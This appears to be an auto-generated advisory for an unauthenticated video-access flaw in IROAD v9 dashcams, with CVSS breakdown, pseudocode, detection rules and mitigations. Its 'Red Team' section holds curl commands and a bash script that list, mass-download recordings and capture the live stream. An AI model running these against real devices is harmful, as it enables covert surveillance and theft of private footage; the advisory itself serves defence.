CVE-2025-30111

Executive Summary

CVE-2025-30111 exposes a critical authentication bypass vulnerability in IROAD v9 dashcam devices. The dashcam exposes unauthenticated endpoints that allow any remote attacker who has gained network access (e.g., via Wi‑Fi or a compromised network segment) to list, download recorded video footage, and access live video streams. This vulnerability is classified as CWE-306 (Missing Authentication for Critical Function) and carries a CVSS v3.1 base score of 7.5 (High). The attack vector is network‑based, requires no privileges, and no user interaction. The impact is limited to confidentiality (high), with no impact on integrity or availability. No official patch has been released at the time of analysis.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can exploit the vulnerability remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete disclosure of all recorded and live video data.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Base Score: 7.5 (High)
Temporal Score: Not defined (no patch, no exploit maturity data)
Environmental Score: Depends on network exposure and segmentation.

Deep Dive & Mechanics

The IROAD v9 dashcam runs a lightweight HTTP server that exposes REST‑like endpoints for device management and media access. The vulnerability stems from the absence of authentication checks on endpoints that serve recorded video files and live streams. Specifically:

• Video Listing Endpoint: An unauthenticated GET request to /api/v1/videos returns a JSON array of recorded video filenames and metadata.
• Video Download Endpoint: An unauthenticated GET request to /api/v1/videos/{filename} streams the recorded video file.
• Live Stream Endpoint: An unauthenticated GET request to /api/v1/live provides a continuous MJPEG or HLS stream of the current camera view.

Because these endpoints do not require any session token, API key, or other authentication mechanism, any device that can reach the dashcam’s IP address (e.g., via the same Wi‑Fi network, or through a misconfigured firewall exposing the device to the internet) can access all video data.

The attack flow is:

1. Discover the dashcam’s IP address (e.g., via Shodan, local network scanning, or compromised router).
2. Send a GET request to /api/v1/videos to list all recorded files.
3. Download any file by sending a GET request to /api/v1/videos/{filename}.
4. Access the live stream by sending a GET request to /api/v1/live.

No exploit code is required; the vulnerability is trivially exploitable with standard HTTP tools like curl or a web browser.

Vulnerable vs. Patched Code

Vulnerable Code (IROAD v9 firmware):
The HTTP server handler for /api/v1/videos and /api/v1/live does not check for any authentication token or session before processing the request.

# Pseudocode of vulnerable handler
def handle_request(request):
    if request.path.startswith('/api/v1/videos'):
        # No authentication check
        if request.method == 'GET':
            if request.path == '/api/v1/videos':
                return list_videos()
            else:
                filename = extract_filename(request.path)
                return stream_video(filename)
    elif request.path == '/api/v1/live':
        # No authentication check
        return stream_live()

Patched Code (Hypothetical fix):
The patched version would require a valid API token or session cookie before serving any video or live stream data.

# Pseudocode of patched handler
def handle_request(request):
    if not is_authenticated(request):
        return 401 Unauthorized
    if request.path.startswith('/api/v1/videos'):
        if request.method == 'GET':
            if request.path == '/api/v1/videos':
                return list_videos()
            else:
                filename = extract_filename(request.path)
                return stream_video(filename)
    elif request.path == '/api/v1/live':
        return stream_live()

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain an IROAD v9 dashcam (or use a firmware emulator like QEMU with the extracted firmware).
2. Connect the dashcam to a local network (e.g., a dedicated lab Wi‑Fi).
3. Identify the dashcam’s IP address (e.g., 192.168.1.100).

Exploitation Steps:

1. List all recorded videos:

   curl http://192.168.1.100/api/v1/videos
   

2. Download a specific video (e.g., 2025-03-15_10-30-00.mp4):

   curl -O http://192.168.1.100/api/v1/videos/2025-03-15_10-30-00.mp4
   

3. Access the live stream:

   curl http://192.168.1.100/api/v1/live > live_feed.mjpeg
   

   Or open the URL in a browser to view the live stream directly.

Automation Script (Bash):

#!/bin/bash
TARGET="192.168.1.100"
echo "[*] Listing videos..."
curl -s "http://$TARGET/api/v1/videos" | jq .
echo "[*] Downloading all videos..."
for video in $(curl -s "http://$TARGET/api/v1/videos" | jq -r '.[]'); do
    curl -O "http://$TARGET/api/v1/videos/$video"
done
echo "[*] Accessing live stream..."
curl "http://$TARGET/api/v1/live" > live_feed.mjpeg

Blue Team (Defensive)

Detection:

• Monitor network traffic for HTTP GET requests to /api/v1/videos or /api/v1/live from unexpected IP addresses.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.
• Enable logging on the dashcam (if supported) to audit access to these endpoints.

Mitigation:

• Isolate the dashcam on a separate VLAN with strict firewall rules.
• Disable remote access to the dashcam’s web interface if not required.
• If possible, implement a reverse proxy that adds authentication (e.g., HTTP Basic Auth) in front of the dashcam.
• Monitor Shodan for exposed IROAD devices and report them to the vendor.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /api/v1/videos or /api/v1/live on port 80/443.
  • Unusual outbound data transfers from the dashcam IP (e.g., large video file downloads).
• File IOCs:
  • Downloaded video files with naming pattern YYYY-MM-DD_HH-MM-SS.mp4.
• Device IOCs:
  • Dashcam responding to unauthenticated API calls.
  • Dashcam IP address appearing in Shodan with open port 80 and HTTP title “IROAD”.

Detection Engineering

YARA Rule

rule CVE_2025_30111_IROAD_Video_Access {
    meta:
        description = "Detects HTTP requests to IROAD v9 dashcam video endpoints"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2025-30111"
    strings:
        $video_list = "/api/v1/videos" ascii wide nocase
        $live_stream = "/api/v1/live" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: IROAD Dashcam Unauthenticated Video Access
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP GET requests to IROAD v9 dashcam video listing and live stream endpoints
author: Valters IT
date: 2025-03-15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30111
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/api/v1/videos'
            - '/api/v1/live'
    condition: selection
falsepositives:
    - Legitimate administrative access from authorized IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30111 IROAD Dashcam Unauthenticated Video Access"; flow:to_server; content:"GET"; http_method; content:"/api/v1/videos"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-30111 IROAD Dashcam Live Stream Access"; flow:to_server; content:"GET"; http_method; content:"/api/v1/live"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the dashcam on a separate VLAN with strict firewall rules that block inbound connections from untrusted networks.
2. Disable Remote Access: If remote access is not required, disable the web interface entirely or restrict it to localhost.
3. Use a Reverse Proxy: Deploy a reverse proxy (e.g., Nginx) that requires HTTP Basic Authentication before forwarding requests to the dashcam.
4. Monitor Logs: Enable and monitor access logs for the dashcam’s web server.

Long‑Term Fix:

• The vendor (IROAD) must release a firmware update that implements proper authentication (e.g., token‑based or session‑based) for all API endpoints.
• Until a patch is available, consider replacing the device with a more secure alternative.

Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System. For questions, contact security@valtersit.com.